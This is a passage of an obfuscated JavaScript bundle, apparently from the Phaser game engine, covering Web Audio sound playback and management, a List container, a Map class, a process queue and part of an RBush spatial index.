'number' == typeof this['totalRate'] && this['source']['playbackRate']['setValueAtTime'](this['totalRate'], _0x127123), this['isPlaying'] && (this['rateUpdates']['push']({ 'time': Math['max'](this['startTime'], _0x127123) - this['playTime'], 'rate': this['totalRate'] }), this['loopSource'] && (this['stopAndRemoveLoopBufferSource'](), this['createAndStartLoopBufferSource']())); }, 'getCurrentTime': function () { for (var _0x3e2eab = 0x0, _0xbc61e7 = 0x0; _0xbc61e7 < this['rateUpdates']['length']; _0xbc61e7++)_0x3e2eab += ((_0xbc61e7 < this['rateUpdates']['length'] - 0x1 ? this['rateUpdates'][_0xbc61e7 + 0x1]['time'] : this['manager']['context']['currentTime'] - this['playTime']) - this['rateUpdates'][_0xbc61e7]['time']) * this['rateUpdates'][_0xbc61e7]['rate']; return _0x3e2eab; }, 'getLoopTime': function () { for (var _0x3b5d9c = 0x0, _0x4f01c1 = 0x0; _0x4f01c1 < this['rateUpdates']['length'] - 0x1; _0x4f01c1++)_0x3b5d9c += (this['rateUpdates'][_0x4f01c1 + 0x1]['time'] - this['rateUpdates'][_0x4f01c1]['time']) * this['rateUpdates'][_0x4f01c1]['rate']; var _0x241a82 = this['rateUpdates'][this['rateUpdates']['length'] - 0x1]; return this['playTime'] + _0x241a82['time'] + (this['duration'] - _0x3b5d9c) / _0x241a82['rate']; }, 'rate': { 'get': function () { return this['currentConfig']['rate']; }, 'set': function (_0x17cefd) { this['currentConfig']['rate'] = _0x17cefd, this['calculateRate'](), this['emit'](_0x3e9cb9['RATE'], this, _0x17cefd); } }, 'setRate': function (_0x564b4f) { return this['rate'] = _0x564b4f, this; }, 'detune': { 'get': function () { return this['currentConfig']['detune']; }, 'set': function (_0x368592) { this['currentConfig']['detune'] = _0x368592, this['calculateRate'](), this['emit'](_0x3e9cb9['DETUNE'], this, _0x368592); } }, 'setDetune': function (_0x1f66d4) { return this['detune'] = _0x1f66d4, this; }, 'mute': { 'get': function () { return 0x0 === this['muteNode']['gain']['value']; }, 'set': function (_0x5636b8) { this['currentConfig']['mute'] = _0x5636b8, this['muteNode']['gain']['setValueAtTime'](_0x5636b8 ? 0x0 : 0x1, 0x0), this['emit'](_0x3e9cb9['MUTE'], this, _0x5636b8); } }, 'setMute': function (_0x21d91f) { return this['mute'] = _0x21d91f, this; }, 'volume': { 'get': function () { return this['volumeNode']['gain']['value']; }, 'set': function (_0x3983c5) { this['currentConfig']['volume'] = _0x3983c5, this['volumeNode']['gain']['setValueAtTime'](_0x3983c5, 0x0), this['emit'](_0x3e9cb9['VOLUME'], this, _0x3983c5); } }, 'setVolume': function (_0x2283d8) { return this['volume'] = _0x2283d8, this; }, 'seek': { 'get': function () { return this['isPlaying'] ? this['manager']['context']['currentTime'] < this['startTime'] ? this['startTime'] - this['playTime'] : this['getCurrentTime']() : this['isPaused'] ? this['currentConfig']['seek'] : 0x0; }, 'set': function (_0x16a9b4) { this['manager']['context']['currentTime'] < this['startTime'] || (this['isPlaying'] || this['isPaused']) && (_0x16a9b4 = Math['min'](Math['max'](0x0, _0x16a9b4), this['duration']), this['currentConfig']['seek'] = _0x16a9b4, this['isPlaying'] && (this['stopAndRemoveBufferSource'](), this['createAndStartBufferSource']()), this['emit'](_0x3e9cb9['SEEK'], this, _0x16a9b4)); } }, 'setSeek': function (_0x26a6da) { return this['seek'] = _0x26a6da, this; }, 'loop': { 'get': function () { return this['currentConfig']['loop']; }, 'set': function (_0x4f73db) { this['currentConfig']['loop'] = _0x4f73db, this['isPlaying'] && (this['stopAndRemoveLoopBufferSource'](), _0x4f73db && this['createAndStartLoopBufferSource']()), this['emit'](_0x3e9cb9['LOOP'], this, _0x4f73db); } }, 'setLoop': function (_0x298482) { return this['loop'] = _0x298482, this; }, 'pan': { 'get': function () { return this['pannerNode'] ? this['pannerNode']['pan']['value'] : 0x0; }, 'set': function (_0xcf7ca6) { this['currentConfig']['pan'] = _0xcf7ca6, this['pannerNode'] && this['pannerNode']['pan']['setValueAtTime'](_0xcf7ca6, this['manager']['context']['currentTime']), this['emit'](_0x3e9cb9['PAN'], this, _0xcf7ca6); } }, 'setPan': function (_0x22f84a) { return this['pan'] = _0x22f84a, this; } }); _0x3bdd3['exports'] = _0x40c219; }, 0xe092: (_0x5d1e11, _0x19a124, _0x8d8b9a) => { var _0x52cbb5 = _0x8d8b9a(0xcf8e), _0x28e2a1 = _0x8d8b9a(0x14c2a), _0x5e581c = _0x8d8b9a(0x145db), _0x179db7 = _0x8d8b9a(0x387f), _0x18236a = _0x8d8b9a(0x20fb), _0x20938d = _0x8d8b9a(0x1183d), _0x1d77d2 = _0x8d8b9a(0x17534), _0x1ea55a = new _0x5e581c({ 'Extends': _0x28e2a1, 'initialize': function (_0x4bb37a) { this['context'] = this['createAudioContext'](_0x4bb37a), this['masterMuteNode'] = this['context']['createGain'](), this['masterVolumeNode'] = this['context']['createGain'](), this['masterMuteNode']['connect'](this['masterVolumeNode']), this['masterVolumeNode']['connect'](this['context']['destination']), this['destination'] = this['masterMuteNode'], this['locked'] = 'suspended' === this['context']['state'] && ('ontouchstart' in window || 'onclick' in window), _0x28e2a1['call'](this, _0x4bb37a), this['locked'] && _0x4bb37a['isBooted'] ? this['unlock']() : _0x4bb37a['events']['once'](_0x18236a['BOOT'], this['unlock'], this); }, 'createAudioContext': function (_0x290131) { var _0x59c895 = _0x290131['config']['audio']; return _0x59c895['context'] ? (_0x59c895['context']['resume'](), _0x59c895['context']) : window['hasOwnProperty']('AudioContext') ? new AudioContext() : window['hasOwnProperty']('webkitAudioContext') ? new window['webkitAudioContext']() : void 0x0; }, 'setAudioContext': function (_0x522491) { return this['context'] && this['context']['close'](), this['masterMuteNode'] && this['masterMuteNode']['disconnect'](), this['masterVolumeNode'] && this['masterVolumeNode']['disconnect'](), this['context'] = _0x522491, this['masterMuteNode'] = _0x522491['createGain'](), this['masterVolumeNode'] = _0x522491['createGain'](), this['masterMuteNode']['connect'](this['masterVolumeNode']), this['masterVolumeNode']['connect'](_0x522491['destination']), this['destination'] = this['masterMuteNode'], this; }, 'add': function (_0x248928, _0x271e53) { var _0x565ade = new _0x20938d(this, _0x248928, _0x271e53); return this['sounds']['push'](_0x565ade), _0x565ade; }, 'decodeAudio': function (_0x6eeec0, _0x2c3cd9) { var _0x162fb6; _0x162fb6 = Array['isArray'](_0x6eeec0) ? _0x6eeec0 : [{ 'key': _0x6eeec0, 'data': _0x2c3cd9 }]; for (var _0x356952 = this['game']['cache']['audio'], _0x2e658d = _0x162fb6['length'], _0x28f240 = 0x0; _0x28f240 < _0x162fb6['length']; _0x28f240++) { var _0xb2eb91 = _0x162fb6[_0x28f240], _0x4d0898 = _0xb2eb91['key'], _0x27ddfa = _0xb2eb91['data']; 'string' == typeof _0x27ddfa && (_0x27ddfa = _0x52cbb5(_0x27ddfa)); var _0x490e66 = function (_0x54ea50, _0xe915fc) { _0x356952['add'](_0x54ea50, _0xe915fc), this['emit'](_0x179db7['DECODED'], _0x54ea50), 0x0 == --_0x2e658d && this['emit'](_0x179db7['DECODED_ALL']); }['bind'](this, _0x4d0898), _0x2e404c = function (_0x170a99, _0xb75809) { 0x0 == --_0x2e658d && this['emit'](_0x179db7['DECODED_ALL']); }['bind'](this, _0x4d0898); this['context']['decodeAudioData'](_0x27ddfa, _0x490e66, _0x2e404c); } }, 'setListenerPosition': function (_0x23fd62, _0x215761) { return void 0x0 === _0x23fd62 && (_0x23fd62 = this['game']['scale']['width'] / 0x2), void 0x0 === _0x215761 && (_0x215761 = this['game']['scale']['height'] / 0x2), this['listenerPosition']['set'](_0x23fd62, _0x215761), this; }, 'unlock': function () { var _0x30b605 = this, _0x16a9d3 = document['body'], _0x4a6a2b = function _0x5e691a() { if (_0x30b605['context'] && _0x16a9d3) { var _0x361aaf = _0x16a9d3['removeEventListener']['bind'](_0x16a9d3); _0x30b605['context']['resume']()['then'](function () { _0x361aaf('touchstart', _0x5e691a), _0x361aaf('touchend', _0x5e691a), _0x361aaf('click', _0x5e691a), _0x361aaf('keydown', _0x5e691a), _0x30b605['unlocked'] = !0x0; }, function () { _0x361aaf('touchstart', _0x5e691a), _0x361aaf('touchend', _0x5e691a), _0x361aaf('click', _0x5e691a), _0x361aaf('keydown', _0x5e691a); }); } }; _0x16a9d3 && (_0x16a9d3['addEventListener']('touchstart', _0x4a6a2b, !0x1), _0x16a9d3['addEventListener']('touchend', _0x4a6a2b, !0x1), _0x16a9d3['addEventListener']('click', _0x4a6a2b, !0x1), _0x16a9d3['addEventListener']('keydown', _0x4a6a2b, !0x1)); }, 'onBlur': function () { this['locked'] || this['context']['suspend'](); }, 'onFocus': function () { var _0x332836 = this['context']; !_0x332836 || this['locked'] || 'suspended' !== _0x332836['state'] && 'interrupted' !== _0x332836['state'] || _0x332836['resume'](); }, 'update': function (_0x5d08ef, _0xaaffda) { var _0x1a5582 = this['context']['listener']; if (_0x1a5582 && void 0x0 !== _0x1a5582['positionX']) { var _0x35d20b = _0x1d77d2(this['listenerPosition'], 'x', null), _0x4ef13c = _0x1d77d2(this['listenerPosition'], 'y', null); _0x35d20b && _0x35d20b !== this['_spatialx'] && (this['_spatialx'] = _0x1a5582['positionX']['value'] = _0x35d20b), _0x4ef13c && _0x4ef13c !== this['_spatialy'] && (this['_spatialy'] = _0x1a5582['positionY']['value'] = _0x4ef13c); } _0x28e2a1['prototype']['update']['call'](this, _0x5d08ef, _0xaaffda), this['gameLostFocus'] || this['onFocus'](); }, 'destroy': function () { if (this['destination'] = null, this['masterVolumeNode']['disconnect'](), this['masterVolumeNode'] = null, this['masterMuteNode']['disconnect'](), this['masterMuteNode'] = null, this['game']['config']['audio']['context']) this['context']['suspend'](); else { var _0x459353 = this; this['context']['close']()['then'](function () { _0x459353['context'] = null; }); } _0x28e2a1['prototype']['destroy']['call'](this); }, 'setMute': function (_0x135a4a) { return this['mute'] = _0x135a4a, this; }, 'mute': { 'get': function () { return 0x0 === this['masterMuteNode']['gain']['value']; }, 'set': function (_0x40219d) { this['masterMuteNode']['gain']['setValueAtTime'](_0x40219d ? 0x0 : 0x1, 0x0), this['emit'](_0x179db7['GLOBAL_MUTE'], this, _0x40219d); } }, 'setVolume': function (_0x593ef6) { return this['volume'] = _0x593ef6, this; }, 'volume': { 'get': function () { return this['masterVolumeNode']['gain']['value']; }, 'set': function (_0x93aa5a) { this['masterVolumeNode']['gain']['setValueAtTime'](_0x93aa5a, 0x0), this['emit'](_0x179db7['GLOBAL_VOLUME'], this, _0x93aa5a); } } }); _0x5d1e11['exports'] = _0x1ea55a; }, 0x11dca: (_0x539045, _0x138423, _0x22c12c) => { var _0x13ece1 = _0x22c12c(0x90f1), _0x34db5c = _0x22c12c(0x145db), _0x15ddbb = _0x22c12c(0x7433), _0x41c15c = _0x22c12c(0x4af2), _0x46d7b4 = new _0x34db5c({ 'initialize': function (_0x405e52) { this['parent'] = _0x405e52, this['list'] = [], this['position'] = 0x0, this['addCallback'] = _0x15ddbb, this['removeCallback'] = _0x15ddbb, this['_sortKey'] = ''; }, 'add': function (_0x1763b1, _0x235aa9) { return _0x235aa9 ? _0x13ece1['Add'](this['list'], _0x1763b1) : _0x13ece1['Add'](this['list'], _0x1763b1, 0x0, this['addCallback'], this); }, 'addAt': function (_0x3cb678, _0x59cb02, _0x2ce59d) { return _0x2ce59d ? _0x13ece1['AddAt'](this['list'], _0x3cb678, _0x59cb02) : _0x13ece1['AddAt'](this['list'], _0x3cb678, _0x59cb02, 0x0, this['addCallback'], this); }, 'getAt': function (_0x151172) { return this['list'][_0x151172]; }, 'getIndex': function (_0x7a608f) { return this['list']['indexOf'](_0x7a608f); }, 'sort': function (_0x1f5adc, _0x1a026f) { return _0x1f5adc ? (void 0x0 === _0x1a026f && (_0x1a026f = function (_0x4cd6ae, _0x2a0497) { return _0x4cd6ae[_0x1f5adc] - _0x2a0497[_0x1f5adc]; }), _0x41c15c(this['list'], _0x1a026f), this) : this; }, 'getByName': function (_0x303f97) { return _0x13ece1['GetFirst'](this['list'], 'name', _0x303f97); }, 'getRandom': function (_0x3f254f, _0x246686) { return _0x13ece1['GetRandom'](this['list'], _0x3f254f, _0x246686); }, 'getFirst': function (_0x40fad7, _0x1f5cdd, _0x4f5b8e, _0x58b38d) { return _0x13ece1['GetFirst'](this['list'], _0x40fad7, _0x1f5cdd, _0x4f5b8e, _0x58b38d); }, 'getAll': function (_0x32ca47, _0x50f0e9, _0x5a39d0, _0xcc5bc2) { return _0x13ece1['GetAll'](this['list'], _0x32ca47, _0x50f0e9, _0x5a39d0, _0xcc5bc2); }, 'count': function (_0x1c47d7, _0x101dde) { return _0x13ece1['CountAllMatching'](this['list'], _0x1c47d7, _0x101dde); }, 'swap': function (_0x422fe6, _0x5dce2a) { _0x13ece1['Swap'](this['list'], _0x422fe6, _0x5dce2a); }, 'moveTo': function (_0x17de89, _0x5aece6) { return _0x13ece1['MoveTo'](this['list'], _0x17de89, _0x5aece6); }, 'moveAbove': function (_0x3aab7e, _0x497481) { return _0x13ece1['MoveAbove'](this['list'], _0x3aab7e, _0x497481); }, 'moveBelow': function (_0x66a902, _0x42bda0) { return _0x13ece1['MoveBelow'](this['list'], _0x66a902, _0x42bda0); }, 'remove': function (_0x36350f, _0x434d35) { return _0x434d35 ? _0x13ece1['Remove'](this['list'], _0x36350f) : _0x13ece1['Remove'](this['list'], _0x36350f, this['removeCallback'], this); }, 'removeAt': function (_0x4bccf7, _0x10a2b0) { return _0x10a2b0 ? _0x13ece1['RemoveAt'](this['list'], _0x4bccf7) : _0x13ece1['RemoveAt'](this['list'], _0x4bccf7, this['removeCallback'], this); }, 'removeBetween': function (_0x595cd4, _0x47afc2, _0x1da6e0) { return _0x1da6e0 ? _0x13ece1['RemoveBetween'](this['list'], _0x595cd4, _0x47afc2) : _0x13ece1['RemoveBetween'](this['list'], _0x595cd4, _0x47afc2, this['removeCallback'], this); }, 'removeAll': function (_0x3d23c3) { for (var _0x1687e9 = this['list']['length']; _0x1687e9--;)this['remove'](this['list'][_0x1687e9], _0x3d23c3); return this; }, 'bringToTop': function (_0x173734) { return _0x13ece1['BringToTop'](this['list'], _0x173734); }, 'sendToBack': function (_0x5c232d) { return _0x13ece1['SendToBack'](this['list'], _0x5c232d); }, 'moveUp': function (_0x239844) { return _0x13ece1['MoveUp'](this['list'], _0x239844), _0x239844; }, 'moveDown': function (_0x20bd63) { return _0x13ece1['MoveDown'](this['list'], _0x20bd63), _0x20bd63; }, 'reverse': function () { return this['list']['reverse'](), this; }, 'shuffle': function () { return _0x13ece1['Shuffle'](this['list']), this; }, 'replace': function (_0x4cfbb5, _0x612343) { return _0x13ece1['Replace'](this['list'], _0x4cfbb5, _0x612343); }, 'exists': function (_0x300986) { return this['list']['indexOf'](_0x300986) > -0x1; }, 'setAll': function (_0x3c4bec, _0x54ca71, _0x20ecaf, _0x4a91ea) { return _0x13ece1['SetAll'](this['list'], _0x3c4bec, _0x54ca71, _0x20ecaf, _0x4a91ea), this; }, 'each': function (_0x3d5a84, _0x26f2e1) { for (var _0x39c865 = [null], _0x553a3d = 0x2; _0x553a3d < arguments['length']; _0x553a3d++)_0x39c865['push'](arguments[_0x553a3d]); for (_0x553a3d = 0x0; _0x553a3d < this['list']['length']; _0x553a3d++)_0x39c865[0x0] = this['list'][_0x553a3d], _0x3d5a84['apply'](_0x26f2e1, _0x39c865); }, 'shutdown': function () { this['removeAll'](), this['list'] = []; }, 'destroy': function () { this['removeAll'](), this['parent'] = null, this['addCallback'] = null, this['removeCallback'] = null; }, 'length': { 'get': function () { return this['list']['length']; } }, 'first': { 'get': function () { return this['position'] = 0x0, this['list']['length'] > 0x0 ? this['list'][0x0] : null; } }, 'last': { 'get': function () { return this['list']['length'] > 0x0 ? (this['position'] = this['list']['length'] - 0x1, this['list'][this['position']]) : null; } }, 'next': { 'get': function () { return this['position'] < this['list']['length'] ? (this['position']++, this['list'][this['position']]) : null; } }, 'previous': { 'get': function () { return this['position'] > 0x0 ? (this['position']--, this['list'][this['position']]) : null; } } }); _0x539045['exports'] = _0x46d7b4; }, 0x160da: (_0x1a2f90, _0x3372e1, _0x10b2d2) => { var _0x4d41c8 = new (_0x10b2d2(0x145db))({ 'initialize': function (_0x35452c) { this['entries'] = {}, this['size'] = 0x0, this['setAll'](_0x35452c); }, 'setAll': function (_0x34456d) { if (Array['isArray'](_0x34456d)) { for (var _0x51e0ab = 0x0; _0x51e0ab < _0x34456d['length']; _0x51e0ab++)this['set'](_0x34456d[_0x51e0ab][0x0], _0x34456d[_0x51e0ab][0x1]); } return this; }, 'set': function (_0x27aa09, _0x480e56) { return this['has'](_0x27aa09) || this['size']++, this['entries'][_0x27aa09] = _0x480e56, this; }, 'get': function (_0xca4a21) { if (this['has'](_0xca4a21)) return this['entries'][_0xca4a21]; }, 'getArray': function () { var _0x412259 = [], _0xe12dba = this['entries']; for (var _0x50aa52 in _0xe12dba) _0x412259['push'](_0xe12dba[_0x50aa52]); return _0x412259; }, 'has': function (_0x5cc998) { return this['entries']['hasOwnProperty'](_0x5cc998); }, 'delete': function (_0x3453d1) { return this['has'](_0x3453d1) && (delete this['entries'][_0x3453d1], this['size']--), this; }, 'clear': function () { return Object['keys'](this['entries'])['forEach'](function (_0x4e281a) { delete this['entries'][_0x4e281a]; }, this), this['size'] = 0x0, this; }, 'keys': function () { return Object['keys'](this['entries']); }, 'values': function () { var _0x299a7f = [], _0x357e40 = this['entries']; for (var _0xff47dc in _0x357e40) _0x299a7f['push'](_0x357e40[_0xff47dc]); return _0x299a7f; }, 'dump': function () { var _0x3be043 = this['entries']; for (var _0x4dea0d in _0x3be043); }, 'each': function (_0x371a57) { var _0x57d79e = this['entries']; for (var _0xc01bd2 in _0x57d79e) if (!0x1 === _0x371a57(_0xc01bd2, _0x57d79e[_0xc01bd2])) break; return this; }, 'contains': function (_0x412af6) { var _0x4db14c = this['entries']; for (var _0x4e0268 in _0x4db14c) if (_0x4db14c[_0x4e0268] === _0x412af6) return !0x0; return !0x1; }, 'merge': function (_0x2489a0, _0x3caa3b) { void 0x0 === _0x3caa3b && (_0x3caa3b = !0x1); var _0x296de7 = this['entries'], _0x183362 = _0x2489a0['entries']; for (var _0x5ef397 in _0x183362) _0x296de7['hasOwnProperty'](_0x5ef397) && _0x3caa3b ? _0x296de7[_0x5ef397] = _0x183362[_0x5ef397] : this['set'](_0x5ef397, _0x183362[_0x5ef397]); return this; } }); _0x1a2f90['exports'] = _0x4d41c8; }, 0x64ae: (_0x54e4be, _0x37aac6, _0x11c72d) => { var _0x29ead8 = _0x11c72d(0x145db), _0x50325b = _0x11c72d(0xc668), _0x50b506 = _0x11c72d(0x141ac), _0x1ab349 = new _0x29ead8({ 'Extends': _0x50325b, 'initialize': function () { _0x50325b['call'](this), this['_pending'] = [], this['_active'] = [], this['_destroy'] = [], this['_toProcess'] = 0x0, this['checkQueue'] = !0x1; }, 'isActive': function (_0x368eaf) { return this['_active']['indexOf'](_0x368eaf) > -0x1; }, 'isPending': function (_0x27d867) { return this['_toProcess'] > 0x0 && this['_pending']['indexOf'](_0x27d867) > -0x1; }, 'isDestroying': function (_0x54dcbb) { return this['_destroy']['indexOf'](_0x54dcbb) > -0x1; }, 'add': function (_0x1785fb) { return this['checkQueue'] && this['isActive'](_0x1785fb) && !this['isDestroying'](_0x1785fb) || this['isPending'](_0x1785fb) || (this['_pending']['push'](_0x1785fb), this['_toProcess']++), _0x1785fb; }, 'remove': function (_0x230187) { if (this['isPending'](_0x230187)) { var _0x1a6d3c = this['_pending'], _0x262278 = _0x1a6d3c['indexOf'](_0x230187); -0x1 !== _0x262278 && _0x1a6d3c['splice'](_0x262278, 0x1); } else this['isActive'](_0x230187) && (this['_destroy']['push'](_0x230187), this['_toProcess']++); return _0x230187; }, 'removeAll': function () { for (var _0x2f0c7a = this['_active'], _0x3386d9 = this['_destroy'], _0x664d49 = _0x2f0c7a['length']; _0x664d49--;)_0x3386d9['push'](_0x2f0c7a[_0x664d49]), this['_toProcess']++; return this; }, 'update': function () { if (0x0 === this['_toProcess']) return this['_active']; var _0x4d7e03, _0x5a4713, _0x439b7c = this['_destroy'], _0x314bbf = this['_active']; for (_0x4d7e03 = 0x0; _0x4d7e03 < _0x439b7c['length']; _0x4d7e03++) { _0x5a4713 = _0x439b7c[_0x4d7e03]; var _0x21cb08 = _0x314bbf['indexOf'](_0x5a4713); -0x1 !== _0x21cb08 && (_0x314bbf['splice'](_0x21cb08, 0x1), this['emit'](_0x50b506['PROCESS_QUEUE_REMOVE'], _0x5a4713)); } for (_0x439b7c['length'] = 0x0, _0x439b7c = this['_pending'], _0x4d7e03 = 0x0; _0x4d7e03 < _0x439b7c['length']; _0x4d7e03++)_0x5a4713 = _0x439b7c[_0x4d7e03], (!this['checkQueue'] || this['checkQueue'] && -0x1 === _0x314bbf['indexOf'](_0x5a4713)) && (_0x314bbf['push'](_0x5a4713), this['emit'](_0x50b506['PROCESS_QUEUE_ADD'], _0x5a4713)); return _0x439b7c['length'] = 0x0, this['_toProcess'] = 0x0, _0x314bbf; }, 'getActive': function () { return this['_active']; }, 'length': { 'get': function () { return this['_active']['length']; } }, 'destroy': function () { this['_toProcess'] = 0x0, this['_pending'] = [], this['_active'] = [], this['_destroy'] = []; } }); _0x54e4be['exports'] = _0x1ab349; }, 0xe896: (_0x24b9a0, _0x3dd40f, _0x517281) => { var _0x1b5a88 = _0x517281(0xab6e); function _0x1ca4c8(_0x4d282b) { if (!(this instanceof _0x1ca4c8)) return new _0x1ca4c8(_0x4d282b, ['.left', '.top', '.right', '.bottom']); this['_maxEntries'] = Math['max'](0x4, _0x4d282b || 0x9), this['_minEntries'] = Math['max'](0x2, Math['ceil'](0.4 * this['_maxEntries'])), this['clear'](); } function _0x30d9f8(_0x26b499, _0x4fa4fb, _0x5820ad) { if (!_0x5820ad) return _0x4fa4fb['indexOf'](_0x26b499); for (var _0x56092c = 0x0; _0x56092c < _0x4fa4fb['length']; _0x56092c++)if (_0x5820ad(_0x26b499, _0x4fa4fb[_0x56092c])) return _0x56092c; return -0x1; } function _0x39e34b(_0x3eeed7, _0x3a1cf7) { _0x222663(_0x3eeed7, 0x0, _0x3eeed7['children']['length'], _0x3a1cf7, _0x3eeed7); } function _0x222663(_0x1564d5, _0x5bf28e, _0x3a6ff8, _0x29db95, _0x1a92cd) { _0x1a92cd || (_0x1a92cd = _0x42ec4d(null)), _0x1a92cd['minX'] = 0x1 / 0x0, _0x1a92cd['minY'] = 0x1 / 0x0, _0x1a92cd['maxX'] = -0x1 / 0x0, _0x1a92cd['maxY'] = -0x1 / 0x0; for (var _0x2b705e, _0x524a9a = _0x5bf28e; _0x524a9a < _0x3a6ff8; _0x524a9a++)_0x2b705e = _0x1564d5['children'][_0x524a9a], _0x3f634c(_0x1a92cd, _0x1564d5['leaf'] ? _0x29db95(_0x2b705e) : _0x2b705e); return _0x1a92cd; } function _0x3f634c(_0x51c20e, _0x1546ab) { return _0x51c20e['minX'] = Math['min'](_0x51c20e['minX'], _0x1546ab['minX']), _0x51c20e['minY'] = Math['min'](_0x51c20e['minY'], _0x1546ab['minY']), _0x51c20e['maxX'] = Math['max'](_0x51c20e['maxX'], _0x1546ab['maxX']), _0x51c20e['maxY'] = Math['max'](_0x51c20e['maxY'], _0x1546ab['maxY']), _0x51c20e; } function _0x2c844b(_0x45fc21, _0x5ee689) { return _0x45fc21['minX'] - _0x5ee689['minX']; } function _0x3d85a2(_0x1718c4, _0x331bd5) { return _0x1718c4['minY'] - _0x331bd5['minY']; } function _0x273ab6(_0x484c3b) { return (_0x484c3b['maxX'] - _0x484c3b['minX']) * (_0x484c3b['maxY'] - _0x484c3b['minY']); } function _0x49eb6d(_0x50c591) { return _0x50c591['maxX'] - _0x50c591['minX'] + (_0x50c591['maxY'] - _0x50c591['minY']); } function _0x3739dc(_0xd1a379, _0x17d6d8) { return _0xd1a379['minX'] <= _0x17d6d8['minX'] && _0xd1a379['minY'] <= _0x17d6d8['minY'] && _0x17d6d8['maxX'] <= _0xd1a379['maxX'] && _0x17d6d8['maxY'] <= _0xd1a379['maxY']; } function _0x5637e2(_0x4ca580, _0x292f18) { return _0x292f18['minX'] <= _0x4ca580['maxX'] && _0x292f18['minY'] <= _0x4ca580['maxY'] && _0x292f18['maxX'] >= _0x4ca580['minX'] && _0x292f18['maxY'] >= _0x4ca580['minY']; } function _0x42ec4d(_0x3869c7) { return { 'children': _0x3869c7, 'height': 0x1, 'leaf': !0x0, 'minX': 0x1 / 0x0, 'minY': 0x1 / 0x0, 'maxX': -0x1 / 0x0, 'maxY': -0x1 / 0x0 }; } function _0x1a666a(_0x473a0e, _0x3ff152, _0x4ed2f8, _0x367ac2, _0x33e901) { for (var _0x79e36c, _0x49f42b = [_0x3ff152, _0x4ed2f8]; _0x49f42b['length'];)(_0x4ed2f8 = _0x49f42b['pop']()) - (_0x3ff152 = _0x49f42b['pop']()) <= _0x367ac2 || (_0x79e36c = _0x3ff152 + Math['ceil']((_0x4ed2f8 - _0x3ff152) / _0x367ac2 / 0x2) * _0x367ac2, _0x1b5a88(_0x473a0e, _0x79e36c, _0x3ff152, _0x4ed2f8, _0x33e901), _0x49f42b['push'](_0x3ff152, _0x79e36c, _0x79e36c, _0x4ed2f8)); } _0x1ca4c8['prototype'] = { 'all': function () { return this['_all'](this['data'], []); }, 'search': function (_0x312887) { var _0x3a1aaa = this['data'], _0x7a3e3b = [], _0x400d82 = this['toBBox']; if (!_0x5637e2(_0x312887, _0x3a1aaa)) return _0x7a3e3b; for (var _0x4d3a93, _0x2c9b51, _0x57c8a1, _0x6cb0e2, _0x2b2881 = []; _0x3a1aaa;) { for (_0x4d3a93 = 0x0, _0x2c9b51 = _0x3a1aaa['children']['length']; _0x4d3a93 < _0x2c9b51; _0x4d3a93++)_0x57c8a1 = _0x3a1aaa['children'][_0x4d3a93], _0x5637e2(_0x312887, _0x6cb0e2 = _0x3a1aaa['leaf'] ? _0x400d82(_0x57c8a1) : _0x57c8a1) && (_0x3a1aaa['leaf'] ? _0x7a3e3b['push'](_0x57c8a1) : _0x3739dc(_0x312887, _0x6cb0e2) ? this['_all'](_0x57c8a1, _0x7a3e3b) : _0x2b2881['push'](_0x57c8a1)); _0x3a1aaa = _0x2b2881['pop'](); } return _0x7a3e3b; }, 'collides': function (_0x180199) { var _0x1fda77 = this['data'], _0x23eed2 = this['toBBox']; if (!_0x5637e2(_0x180199, _0x1fda77)) return !0x1; for (var _0x38c0af, _0x4ee40f, _0x550611, _0x502799, _0x530ba1 = []; _0x1fda77;) { for (_0x38c0af = 0x0, _0x4ee40f = _0x1fda77['children']['length']; _0x38c0af < _0x4ee40f; _0x38c0af++)if (_0x550611 = _0x1fda77['children'][_0x38c0af], _0x5637e2(_0x180199, _0x502799 = _0x1fda77['leaf'] ? _0x23eed2(_0x550611) : _0x550611)) { if (_0x1fda77['leaf'] || _0x3739dc(_0x180199, _0x502799)) return !0x0; _0x530ba1['push'](_0x550611); } _0x1fda77 = _0x530ba1['pop'](); } return !0x1; }, 'load': function (_0x410044) { if (!_0x410044 || !_0x410044['length']) return this; if (_0x410044['length'] < this['_minEntries']) { for (var _0x875756 = 0x0, _0x39ebd4 = _0x410044['length']; _0x875756 < _0x39ebd4; _0x875756++)this['insert'](_0x410044[_0x875756]); return this; } var _0x2d78a6 = this['_build'](_0x410044['slice'](), 0x0, _0x410044['length'] - 0x1, 0x0); if (this['data']['children']['length']) { if (this['data']['height'] === _0x2d78a6['height']) this['_splitRoot'](this['data'], _0x2d78a6); else { if (this['data']['height'] < _0x2d78a6['height']) { var _0x19ecc6 = this['data']; this['data'] = _0x2d78a6, _0x2d78a6 = _0x19ecc6; } this['_insert'](_0x2d78a6, this['data']['height'] - _0x2d78a6['height'] - 0x1, !0x0); } } else this['data'] = _0x2d78a6; return this; }, 'insert': function (_0xe9cdee) { return _0xe9cdee && this['_insert'](_0xe9cdee, this['data']['height'] - 0x1), this; }, 'clear': function () { return this['data'] = _0x42ec4d([]), this; }, 'remove': function (_0x46c0f5, _0x4d1d73) { if (!_0x46c0f5) return this; for (var _0x37b56c, _0x32b5bd, _0x1895c0, _0x419806, _0x8c00a = this['data'], _0xace618 = this['toBBox'](_0x46c0f5), _0x3b4d77 = [], _0x496e19 = []; _0x8c00a || _0x3b4d77['length'];) { if (_0x8c00a || (_0x8c00a = _0x3b4d77['pop'](), _0x32b5bd = _0x3b4d77[_0x3b4d77['length'] - 0x1], _0x37b56c = _0x496e19['pop'](), _0x419806 = !0x0), _0x8c00a['leaf'] && -0x1 !== (_0x1895c0 = _0x30d9f8(_0x46c0f5, _0x8c00a['children'], _0x4d1d73))) return _0x8c00a['children']['splice'](_0x1895c0, 0x1), _0x3b4d77['push'](_0x8c00a), this['_condense'](_0x3b4d77), this; _0x419806 || _0x8c00a['leaf'] || !_0x3739dc(_0x8c00a, _0xace618) ? _0x32b5bd ? (_0x37b56c++, _0x8c00a = _0x32b5bd['children'][_0x37b56c], _0x419806 = !0x1) : _0x8c00a = null : (_0x3b4d77['push'](_0x8c00a), _0x496e19['push'](_0x37b56c), _0x37b56c = 0x0, _0x32b5bd = _0x8c00a, _0x8c00a = _0x8c00a['children'][0x0]); } return this; }, 'toBBox': function (_0xcda16c) { return _0xcda16c; }, 'compareMinX': _0x2c844b, 'compareMinY': _0x3d85a2, 'toJSON': function () { return this['data']; }, 'fromJSON': function (_0x32a476) { return this['data'] = _0x32a476, this; }, '_all': function (_0x2df083, _0x51e7a1) { for (var _0x3c76d0 = []; _0x2df083;)_0x2df083['leaf'] ? _0x51e7a1['push']['apply'](_0x51e7a1, _0x2df083['children']) : _0x3c76d0['push']['apply'](_0x3c76d0, _0x2df083['children']), _0x2df083 = 